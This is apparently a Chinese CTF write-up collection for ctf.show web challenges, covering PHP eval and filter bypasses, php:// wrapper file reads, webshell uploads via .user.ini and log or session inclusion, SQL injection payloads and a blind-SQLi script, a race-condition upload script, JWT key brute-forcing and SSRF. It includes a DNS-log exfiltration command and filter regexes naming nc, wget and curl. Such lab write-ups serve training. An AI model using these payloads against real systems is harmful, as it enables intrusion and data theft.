考察点:三目运算符的理解+变量覆盖
根据第一条可知,如果get传了一个值,那么就可以用post覆盖get中的值。
所以我们get随便传一个,然后post传 HTTP_FLAG=flag即可
payload
get:1=1 post:HTTP_FLAG=flag
web99
highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) {
array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
file_put_contents($_GET['n'], $_POST['content']);
}
?>
分析源代码,array_push向数组里面插入随机数,in_array判断n中是否含有这个随机数
in_array弱类型比较
$allow = array(1,'2','3');
var_dump(in_array('1.php',$allow));
返回的为true
$allow = array('1','2','3');
var_dump(in_array('1.php',$allow));
返回false
查看源码即得到flag
web100
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\;/", $v2)){
if(preg_match("/\;/", $v3)){
eval("$v2('ctfshow')$v3");
}
}
}
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
<?php
$a=true and false and false;
var_dump($a); 返回true
$a=true && false && false;
var_dump($a); 返回false
只要v1是数字就可以使得v0为true,从而进入if中。
查看目录:
v1=1&v2=?><?php echo `ls`?>/*&v3=;*/
v1=1&v2=-system('ls')-&v3=-1;
v1=1&v2=echo&v3=;system('ls');
可以rce cat php文件
?v1=1&v2=system("tac ctfshow.php")/*&v3=*/;
可以直接var_dump ctfshow变量
?v1=1&v2=var_dump($ctfshow)&v3=;
注意将0x2d转换为-
ctfshow{4a27bda5-c27a-4cde-a869-5b724db05a1b}
web101
第一部分和web100相同
第二部分因为加了过滤,可以用反射类构造出 echo new ReflectionClass(‘ctfshow’);
payload:
?v1=1&v2=echo new ReflectionClass&v3=;
举个反射类的例子
<?php
class A{
public static $flag="flag{123123123}";
const PI=3.14;
static function hello(){
echo "hello</br>";
}
}
$a=new ReflectionClass('A');
var_dump($a->getConstants()); 获取一组常量
输出
array(1) {
["PI"]=>
float(3.14)
}
var_dump($a->getName()); 获取类名
输出
string(1) "A"
var_dump($a->getStaticProperties()); 获取静态属性
输出
array(1) {
["flag"]=>
string(15) "flag{123123123}"
}
var_dump($a->getMethods()); 获取类中的方法
输出
array(1) {
[0]=>
object(ReflectionMethod)#2 (2) {
["name"]=>
string(5) "hello"
["class"]=>
string(1) "A"
}
}
0x2d换成-,但是提交不正确,发现少了一位。查看hint,最后一位需要爆破16次进行猜测爆破
ctfshow{5f6a399f-da7c-4f9d-bca1-d393bdbfe8e}
好家伙我从0-f一个个试,结果是f,我吐了
ctfshow{5f6a399f-da7c-4f9d-bca1-d393bdbfe8ef}
web102
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
$s = substr($v2,2);
$str = call_user_func($v1,$s);
echo $str;
file_put_contents($v3,$str);
}
else{
die('hacker');
}
?>
$a='<?=`cat *`;';
$b=base64_encode($a); // PD89YGNhdCAqYDs=
$c=bin2hex($b); //去掉等号,因为等号只是起到填充的作用,再bin2hex
输出 5044383959474e6864434171594473
11504438395948526859794171594473 因为从第三位算起,前面随便加两个数字
带e的话会被认为是科学计数法,可以通过is_numeric检测。
大家可以尝试下去掉=和带着=的base64解码出来的内容是相同的。因为等号在base64中只是起到填充的作用,不影响具体的数据内容。
最终payload:v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php post: v1=hex2bin
访问1.php,查看页面源代码
web103
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
$s = substr($v2,2);
$str = call_user_func($v1,$s);
echo $str;
if(!preg_match("/.*p.*h.*p.*/i",$str)){
file_put_contents($v3,$str);
}
else{
die('Sorry');
}
}
else{
die('hacker');
}
?>
加了一个php的过滤,不过位置稍有尴尬,所以和web102一样的
web104 web106
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['v1']) && isset($_GET['v2'])){
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
if(sha1($v1)==sha1($v2)){
echo $flag;
}
}
?>
与md5一样,sha1无法处理数组
GET:?v2[]=1
POST:v1[]=2
web105
<?php
highlight_file(__FILE__);
include('flag.php');
error_reporting(0);
$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
foreach($_GET as $key => $value){
if($key==='error'){ //键名不能是error
die("what are you doing?!");
}
$$key=$$value; //变量覆盖,意思就是$key的内容作为变量,例如:$key=xx,$$key=$xx
}foreach($_POST as $key => $value){
if($value==='flag'){ //键值不能是flag
die("what are you doing?!");
}
$$key=$$value;
}
if(!($_POST['flag']==$flag)){ //不相等就die($error)
die($error);
}
echo "your are good".$flag."\n";
die($suces);
?>
这里有三个变量:
$error=‘你还想要flag嘛?’;
$suces=‘既然你想要那给你吧!’;
$flag 不知道,这就是我们要输出的变量
如何输出变量$flag?
利用变量覆盖
?suces=flag #GET $suces=$flag
error=suces #POST $error=$suces(此时,$flag的值就传给了$suces和$error)
web107
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
if(isset($_POST['v1'])){
$v1 = $_POST['v1'];
$v3 = $_GET['v3'];
parse_str($v1,$v2);
if($v2['flag']==md5($v3)){
echo $flag;
}
}
?>
parse_str(string,array)
函数把查询字符串解析到变量中
利用md5无法输出数组,返回是NULL的情况
?v3[]=1 #GET
v1="flag=0" #POST
web108
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE) {
die('error');
}
//只有36d的人才能看到flag
if(intval(strrev($_GET['c']))==0x36d){
echo $flag;
}
?>
首先看函数:
ereg()函数用指定的模式搜索一个字符串中指定的字符串,如果匹配成功返回true,否则,则返回false。搜索字母的字符是大小写敏感的。
ereg函数存在NULL截断漏洞,导致了正则过滤被绕过,所以可以使用%00截断正则匹配
strrev() :反转字符串
intval()函数遇到非数字字符就会停止识别, 877aa识别为877
^[a-zA-Z]+$
这个正则意思是:匹配所有大小写字母一次或者多次(+号:一次或者多次)
payload:c=a%00778
首先正则表达式只会匹配%00之前的内容,后面的被截断掉,可以通过正则表达式检测,后面通过反转成877%00a,再用intval函数获取整数部分得到877,877为0x36d的10进制。
web109
<?php
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
eval("echo new $v1($v2());");
}
}
?>
先来看下这个正则表达式/[a-zA-Z]+/ 匹配至少有一个字母的字符串
所以我们只要让new后面有个类不报错以后,就可以随意构造了。
这里通过异常处理类Exception(system(‘cmd’))可以运行指定代码
?v1=Exception&v2=system('tac fl*')
?v1=ReflectionClass&v2=system('tac fl*')
web110
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){
die("error v1");
}
if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){
die("error v2");
}
eval("echo new $v1($v2());");
}
?>
FilesystemIterator就是一个读取目录下文件名的,如果参数能给一个/就能读取当前目录所有文件,这里符号都不能用了,这里php中的getcwd()可以帮我们替代/ (getchwd() 函数返回当前工作目录。)
?v1=FilesystemIterator&v2=getcwd
web111
<?php
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
function getFlag(&$v1,&$v2){
eval("$$v1 = &$$v2;");
var_dump($$v1);
}
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){
die("error v1");
}
if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){
die("error v2");
}
if(preg_match('/ctfshow/', $v1)){
getFlag($v1,$v2);
}
}
?>
$GLOBALS — 引用全局作用域中可用的全部变量
一个包含了全部变量的全局组合数组。变量的名字就是数组的键。
如果输出$GLOBALS
就能输出全部变量,那这里给v2赋一个$GLOBALS
的值它就会传给v1,然后var_dump(v1)便能输出所有的变量,而v1要求有ctfshow的字样,那就给v1赋值ctfshow
?v1=ctfshow&v2=GLOBALS
web112
highlight_file(__FILE__);
error_reporting(0);
function filter($file){
if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
die("hacker!");
}else{
return $file;
}
}
$file=$_GET['file'];
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}
is_file():
函数检查指定的文件名是否是正常的文件,如果文件存在且为正常的文件,则返回 true
这里我们不能让is_file检测出是文件,但highlight_file可以识别为文件。这时候可以利用php伪协议。
payload:
1. php://filter/resource=flag.php
2. php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php
3. php://filter/read=convert.quoted-printable-encode/resource=flag.php //可打印字符引用编码
4. compress.zlib://flag.php //压缩流
web113
highlight_file(__FILE__);
error_reporting(0);
function filter($file){
if(preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
die('hacker!');
}else{
return $file;
}
}
$file=$_GET['file'];
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}
在上题基础上过滤了filter
可以使用非预期解
compress.zlib://flag.php
师傅们的预期解是利用/proc/self/root
在linux中/proc/self/root是指向根目录的,也就是如果在命令行中输入ls /proc/self/root,其实显示的内容是根目录下的内容,通过多次重复后绕过is_file
?file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/p
roc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/pro
c/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/
self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/se
lf/root/proc/self/root/var/www/html/flag.php
web114
error_reporting(0);
highlight_file(__FILE__);
function filter($file){
if(preg_match('/compress|root|zip|convert|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
die('hacker!');
}else{
return $file;
}
}
$file=$_GET['file'];
echo "师傅们居然tql都是非预期 哼!";
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
?file=php://filter/resource=flag.php
web115
include('flag.php');
highlight_file(__FILE__);
error_reporting(0);
function filter($num){
$num=str_replace("0x","1",$num);
$num=str_replace("0","1",$num);
$num=str_replace(".","1",$num);
$num=str_replace("e","1",$num);
$num=str_replace("+","1",$num);
return $num;
}
$num=$_GET['num'];
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
if($num=='36'){
echo $flag;
}else{
echo "hacker!!";
}
}else{
echo "hacker!!!";
} hacker!!!
trim() 函数移除字符串两侧的空白字符或其他预定义字符,如果不指定第二个参数,trim() 将去除这些字符:
" " (ASCII 32 (0x20)),普通空格符。
“\t” (ASCII 9 (0x09)),制表符。
“\n” (ASCII 10 (0x0A)),换行符。
“\r” (ASCII 13 (0x0D)),回车符。
“\0” (ASCII 0 (0x00)),空字节符。
“\x0B” (ASCII 11 (0x0B)),垂直制表符。
yu师傅的脚本
for ($i=0; $i <=128 ; $i++) {
$x=chr($i).'1';
if(trim($x)!=='1' && is_numeric($x)){
echo urlencode(chr($i))."\n";
}
}
//%0C (换页符)
?num=%0c36
web123
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}
?>
php变量名不允许使用点号,会变成下划线
但如果出现了[,那么这个[转变为下划线后,后面的点并不会转化,具体原理是啥还不知道
CTF[SHOW.COM=>CTF_SHOW.COM
CTF_SHOW=&CTF[SHOW.COM=&fun=echo $flag
web125
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print/i", $c)&&$c<=16){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}
?>
相比上题过滤了echo和flag
POST:CTF_SHOW=&CTF[SHOW.COM=&fun=highlight_file($_GET[1])
GET:?1=flag.php
web126
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print|g|i|f|c|o|d/i", $c) && strlen($c)<=16){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
相比上题过滤了f
$_SERVER['argv']
1、cli模式(命令行)下
第一个参数$_SERVER[‘argv’][0]是脚本名,其余的是传递给脚本的参数
2、web网页模式下
在web页模式下必须在php.ini开启register_argc_argv配置项
设置register_argc_argv = On(默认是Off),重启服务,$_SERVER[‘argv’]才会有效果
这时候的$_SERVER[‘argv’][0] = $_SERVER[‘QUERY_STRING’]
$argv,$argc在web模式下不适用
出题人的预期解是在$_SERVER['argv'][0]
中,对于传递的参数,可以通过加号+进行分割
parse_str:把查询字符串解析到变量中
get: a=1+fl0g=flag_give_me
post: CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])
<?php
$a=$_SERVER['argv'];
var_dump($a);
传入 a=1+fl0g=flag_give_me
结果如下
array(2) { [0]=> string(3) "a=1" [1]=> string(17) "fl0g=flag_give_me" }
web127
error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
$ctf_show = md5($flag);
$url = $_SERVER['QUERY_STRING'];
//特殊字符检测
function waf($url){
if(preg_match('/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\{|\;|\:|\[|\]|\}|\'|\"|\<|\,|\>|\.|\\\|\//', $url)){
return true;
}else{
return false;
}
}
if(waf($url)){
die("嗯哼?");
}else{
extract($_GET);
}
if($ctf_show==='ilove36d'){
echo $flag;
}
过滤了. [ +,还能用空格来实现
php解析特性
ctf%20show->ctf_show
%20ctfshow->ctfshow
?ctf show=ilove36d
web128
error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
$f1 = $_GET['f1'];
$f2 = $_GET['f2'];
if(check($f1)){
var_dump(call_user_func(call_user_func($f1,$f2)));
}else{
echo "嗯哼?";
}
这题主要考察的是_()和get_defined_vars()两个函数的使用,call_user_func(’_’,‘phpinfo’)最后会返回phpinfo,get_defined_vars()返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。
?f1=_&f2=get_defined_vars
web129
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['f'])){
$f = $_GET['f'];
if(stripos($f, 'ctfshow')>0){
echo readfile($f);
}
}
payload:f=php://filter/read=convert.base64-encode|ctfshow/resource=flag.php
?f=php://filter/ctfshow/resource=flag.php
?f=/ctfshow/../../../../../../../var/www/html/flag.php
filter伪协议支持多种编码方式,无效的就被忽略掉了。
web130
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
$f = $_POST['f'];
if(preg_match('/.+?ctfshow/is', $f)){
die('bye!');
}
if(stripos($f, 'ctfshow') === FALSE){
die('bye!!');
}
echo $flag;
}
payload:
f=ctfshow
f[]=ctfshow
web131
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
$f = (String)$_POST['f'];
if(preg_match('/.+?ctfshow/is', $f)){
die('bye!');
}
if(stripos($f,'36Dctfshow') === FALSE){
die('bye!!');
}
echo $flag;
}
PHP 为了防止正则表达式的拒绝服务攻击(reDOS),给 pcre 设定了一个回溯次数上限 pcre.backtrack_limit
回溯次数上限默认是 100 万。如果回溯次数超过了 100 万,preg_match 将不再返回非 1 和 0,而是 false。这样我们就可以绕过第一个正则表达式了。
import requests
url="http://6d4fe815-165b-4099-83c3-d4acff2e51cd.challenge.ctf.show:8080/"
data={
'f':'very'*250000+'36Dctfshow'
}
r=requests.post(url,data=data)
print(r.text)
web132
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['username']) && isset($_GET['password']) && isset($_GET['code'])){
$username = (String)$_GET['username'];
$password = (String)$_GET['password'];
$code = (String)$_GET['code'];
if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){
if($code == 'admin'){
echo $flag;
}
}
}
因为||的优先级低于&&所以可以这样理解
if(($code === mt_rand(1,0x36D) && $password === $flag )||( $username ==="admin")){
所以满足username==="admin"就可以了。
?code=admin&username=admin&password=1
web133
/?F=$F
; ping cat flag.php | grep ctfshow | tr -cd "[a-z]"/"[0-9]"
.3shk56.dnslog.cn -c 1
8 4 4 4 12
ctfshow{c367afbb-40a6-4f3f-8fdd-ba8fc0dc6963}
web134
highlight_file(__FILE__);
$key1 = 0;
$key2 = 0;
if(isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2'])) {
die("nonononono");
}
@parse_str($_SERVER['QUERY_STRING']);
extract($_POST);
if($key1 == '36d' && $key2 == '36d') {
die(file_get_contents('flag.php'));
}
先是这两个函数配合
parse_str($_SERVER[‘QUERY_STRING’]);
把GET传的,变成变量
然后extract($_POST);
POST变量覆盖;
payload:
?_POST[key1]=36d&_POST[key2]=36d
web135
error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
if(!preg_match('/system|nc|wget|exec|passthru|bash|sh|netcat|curl|cat|grep|tac|more|od|sort|tail|less|base64|rev|cut|od|strings|tailf|head/i', $F)){
eval(substr($F,0,6));
}else{
die("师傅们居然破解了前面的,那就来一个加强版吧");
}
}
测试:
get传参 F=`$F `; sleep 3
经过substr($F,0,6)截取后 得到 `$F `;
也就是会执行 eval("`$F `;");
我们把原来的$F带进去
eval("``$F `;sleep 3`");
也就是说最终会执行 ` `$F `;sleep 3 ` == shell_exec("`$F `; sleep 3");
前面的命令我们不需要管,但是后面的命令我们可以自由控制。
这样就在服务器上成功执行了 sleep 3
所以 最后就是一道无回显的RCE题目了
没有限制写文件
payload:F=`$F `; nl f*>1.txt
payload:F=`$F `; cp f* 2.txt
web136
<?php
error_reporting(0);
function check($x){
if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
die('too young too simple sometimes naive!');
}
}
if(isset($_GET['c'])){
$c=$_GET['c'];
check($c);
exec($c);
}
else{
highlight_file(__FILE__);
}
?>
许多符号和常用函数都被禁用,这里用到linux一个tee:用来读取标准输入的数据,并将其内容输出成文件
tee file1 file2 //复制文件
ls|tee 1.txt //命令输出
先查看目录
?c=ls /|tee 1
?c=nl /f149_15_h3r3|tee 1
web137
直接调用类中的函数
POST:ctfshow=ctfshow::getflag
php中 ->与:: 调用类中的成员的区别
->用于动态语境处理某个类的某个实例
::可以调用一个静态的、不依赖于其他初始化的类方法.
web138
ctfshow[]=ctfshow&ctfshow[]=getFlag
web140
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['f1']) && isset($_POST['f2'])){
$f1 = (String)$_POST['f1'];
$f2 = (String)$_POST['f2'];
if(preg_match('/^[a-z0-9]+$/', $f1)){
if(preg_match('/^[a-z0-9]+$/', $f2)){
$code = eval("return $f1($f2());");
if(intval($code) == 'ctfshow'){
echo file_get_contents("flag.php");
}
}
}
}
使$code的值为0
f1=system&f2=system
f2=getdate&f2=getdate
web142
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['v1'])){
$v1 = (String)$_GET['v1'];
if(is_numeric($v1)){
$d = (int)($v1 * 0x36d * 0x36d * 0x36d * 0x36d * 0x36d);
sleep($d);
echo file_get_contents("flag.php");
}
}
?v1=0
web147
匿名函数查看当前目录
web149
web150
web151
include("flag.php");
error_reporting(0);
highlight_file(__FILE__);
class CTFSHOW{
private $username;
private $password;
private $vip;
private $secret;
function __construct(){
$this->vip = 0;
$this->secret = $flag;
}
function __destruct(){
echo $this->secret;
}
public function isVIP(){
return $this->vip?TRUE:FALSE;
}
}
function __autoload($class){
if(isset($class)){
$class();
}
}
#过滤字符
$key = $_SERVER['QUERY_STRING'];
if(preg_match('/\_| |\[|\]|\?/', $key)){
die("error");
}
$ctf = $_POST['ctf'];
extract($_GET);
if(class_exists($__CTFSHOW__)){
echo "class is exists!";
}
if($isVIP && strrpos($ctf, ":")===FALSE && strrpos($ctf,"log")===FALSE){
include($ctf);
}
----------文件上传----------
web151
绕过前端验证
方法1:直接关闭浏览器的js
方法2:上传.png(没错,只能是png,gif和jpg都不行)文件然后bp抓包后修改后缀,内容为一句话
用蚁剑连接或者
/upload/2.php
post: test=system('tac ../flag.php');
ctfshow{89dfe198-f18f-4936-84d5-b734bfd26690}
web152
和上题一样
web153
上传.user.ini文件覆盖php.ini文件配置
自PHP5.3.0起,PHP支持基于每个目录的INI文件配置,如果你的PHP以模块化运行在Apache里,则用.htaccess文件有同样效果
木马上传成功
但是这种方式其实是有个前提的,因为.user.ini只对他同一目录下的文件起作用,也就是说,只有他同目录下有php文件才可以。
对于这个题,因为他upload目录下有个index.php所以这种方式是可以成功的。
http://58ac5244-cb1f-4c48-aca9-4219af9c71c8.challenge.ctf.show:8080/upload/index.php
连接蚁剑
web154 155
这题过滤了php
<?=(表达式)?> 等价于 <?php echo (表达式)?>
同上
web156
[ ] 被过滤,使用{ }进行代替。
同上
web157 158 159
过滤了{}和分号,那就直接输出flag算了
159不适用这个 因为过滤括号
<?=system('tac ../f*')?>
或者
全部适用
<?=`tac ../f*`?>
然后传.user.ini
最后访问
web160
过滤了括号反引号还有一些关键字
利用日志包含绕过,图片内容<?=include"/var/lo"."g/nginx/access.lo"."g"?>
因为log被过滤了。所以用拼接绕过
上传.user.ini
访问网站然后修改ua头信息
接着访问
web161
上传文件失败了,应该是对文件的头部进行了检测。
getimagesize(): 会对目标文件的16进制去进行一个读取,去读取头几个字符串是不是符合图片的要求。
所以在之前的基础上去添加GIF89A进行图片头欺骗。
一个GIF89a图形文件就是一个根据图形交换格式(GIF)89a版(1989年7 月发行)进行格式化之后的图形。
web162 163
又把.给ban了,使用session文件包含。
先上传.user.ini文件,因为把.过滤了,所以包含的文件名直接改为png即可:
然后上传png文件,其中包含了session文件:
接下来就是开始条件竞争去创建session文件,一边上传文件一边去验证是否包含session成功:
import io
import requests
import threading
url = 'http://353dd9f8-3a92-4460-a0cb-f7f99c19509a.challenge.ctf.show:8080/'
def write(session):
data = {
'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("tac ../f*");?>'
}
while True:
f = io.BytesIO(b'GIF89a\nctfshow')
files = {'file': ('1.png', f, 'image/png')}
response = session.post(url+"upload.php",cookies={'PHPSESSID': 'ctfshow'}, data=data, files=files)
def read(session):
while True:
response = session.get(url+'upload/')
if 'ctfshow' in response.text:
print(response.text)
break
else:
print('retry')
if __name__ == '__main__':
session = requests.session()
for i in range(30):
threading.Thread(target=write, args=(session,)).start()
for i in range(30):
threading.Thread(target=read, args=(session,)).start()
web166
----------sqli注入----------
web171
# 判断列数
' order by 3 --+
# 查数据库名
' union select 1,2,database() --+
# 查表名
' union select 1,2,concat(table_name) from information_schema.tables where table_schema='ctfshow_web' --+
# 查表名2,这样查表名可以省略查数据库名这个步骤
' union select 1,2,concat(table_name) from information_schema.tables where table_schema=database() --+
# 查字段
' union select 1,2,concat(column_name) from information_schema.columns where table_name='ctfshow_user' --+
# 查flag
' union select id,username,password from ctfshow_user where username='flag'--+
web172
返回结果中的username不允许等于flag,不输出username不就完事
' union select 1,password from ctfshow_user2 where username='flag'--+
web173
这里换成了正则,不允许含有flag关键词
username字段输出有flag,加密一下username即可
' union select id,hex(username),password from ctfshow_user3 where username='flag'--+
或者' union select id,reverse(username),password from ctfshow_user3 where username='flag'--+
1' union select 1,to_base64(password),3 from ctfshow_user3 %23
web174
web175
过滤了ASCII码0-127的字符,页面没有回显的话可以选择将输出存到一个文本文件中,再去访问它。
1' union select 1,password from ctfshow_user5 where username='flag' into outfile "/var/www/html/2.txt"-- -
或者时间盲注,贴一个脚本
import requests
url = "http://0a65f5fb-d3b5-40b3-9935-94dd73aa1f59.challenge.ctf.show:8080/select-no-waf-5.php?id=1' and "
result = ''
i = 0
while True:
i = i + 1
head = 32
tail = 127
while head < tail:
mid = (head + tail) >> 1
payload = f'1=if(ascii(substr((select password from ctfshow_user5 limit 24,1),{i},1))>{mid},sleep(2),0) -- -'
try:
r = requests.get(url + payload, timeout=0.5)
tail = mid
except Exception as e:
head = mid + 1
if head != 32:
result += chr(head)
else:
break
print(result)
web176
解法一:
万能密码1' or 1=1--+
然后最后一行发现了flag
解法二:
1' uNion sElect 1,2,password from ctfshow_user --+
web177
空格过滤了/**/绕过
-1'/**/union/**/select/**/1,concat(password),3/**/from/**/ctfshow_user/**/%23
web178
/**/也过滤了,可以用%0a或者%09
-1'%0aunion%0aselect%0a1,concat(password),3%0afrom%0actfshow_user%0a%23
-1'%09union%09select%091,2,password%09from%09ctfshow_user%23
解法二:
id=1'or'1'='1'%23
web179
过滤了之前的%0a %09,选择%0c
1'%0cunion%0cselect%0c1,concat(password),3%0cfrom%0cctfshow_user%23
web180
前面的题目中id=26时是flag用户,可以先用1’闭合前面的单引号,然后用or(id=26)查询,最后用and’1’='1闭合后面的单引号,查询后是id=1的用户,可以让id=-1,这样前面的用户不存在,爆出后面id=26的用户
-1'or(id=26)and'1'='1
web181
web182
web187
考察的是md5(string,true)的绕过,要想成功登录,要使密码转换成16进制的hex后包含’or ‘6’,符合的两个字符串有ffifdyop和129581926211651571912466741651878684928
用户名填写admin密码为ffifdyop
然后抓包即可。
web188
select * from users where username=0;
上面这句话会把表中所有的记录全部查询出来
最后的比较是==弱比较,会自动把字符串转换为0,0=0恒成立。
web189
web199-200
可以用堆叠注入,查询表名,让password的值为ctfshow_user,这样两者就相等
username=0;show tables;
pass=ctfshow_user
----------JWT----------
web345
查看源码
辨析一下区别:
访问/admin/ 看到这些 然后清除这些
再访问原题链接
将_auth值base64解码得:
可以看到这里 alg = none 没有加密 ,sub 是jwt所面向的用户,只需要将sub的值改成admin,然后base加密把原来的替换掉就行了
然后访问/admin/
web 346 347
这里用了HS256加密,盲猜一波123456,再粘贴过去访问admin
当然也可以用代码爆破
先生成一个字典
import jwt
import json
def runblasting(path, jwt_str, alg):
if alg == "none":
alg = "HS256"
with open(path, encoding='utf-8') as f:
for line in f:
key_ = line.strip()
print('use ' + key_)
try:
jwt.decode(jwt_str, verify=True, key=key_, algorithms=alg)
print('found key! --> ' + key_)
break
except(jwt.exceptions.ExpiredSignatureError, jwt.exceptions.InvalidAudienceError,
jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.InvalidIssuedAtError,
jwt.exceptions.ImmatureSignatureError):
print('found key! --> ' + key_)
break
except(jwt.exceptions.InvalidSignatureError):
continue
else:
print("key not found!")
if __name__ == '__main__':
runblasting('nums
.txt',
'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTYyNzE5MDgxOSwiZXhwIjoxNjI3MTk4MDE5LCJuYmYiOjE2MjcxOTA4MTksInN1YiI6InVzZXIiLCJqdGkiOiJjMjQ4Y2NhMTdkNGFkOWM3MzRlYjE4ZDJlZTY1MjBlYiJ9.3RorUDLhutsqgkbphdQ92ICeSDzEDXB2XjWofXR0RZk',
'HS256')
web348
web349
----------SSRF----------
web351
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
?>
url=http://127.0.0.1/flag.php
web352
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127.0.0/')){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
不能出现localhost和127.0.
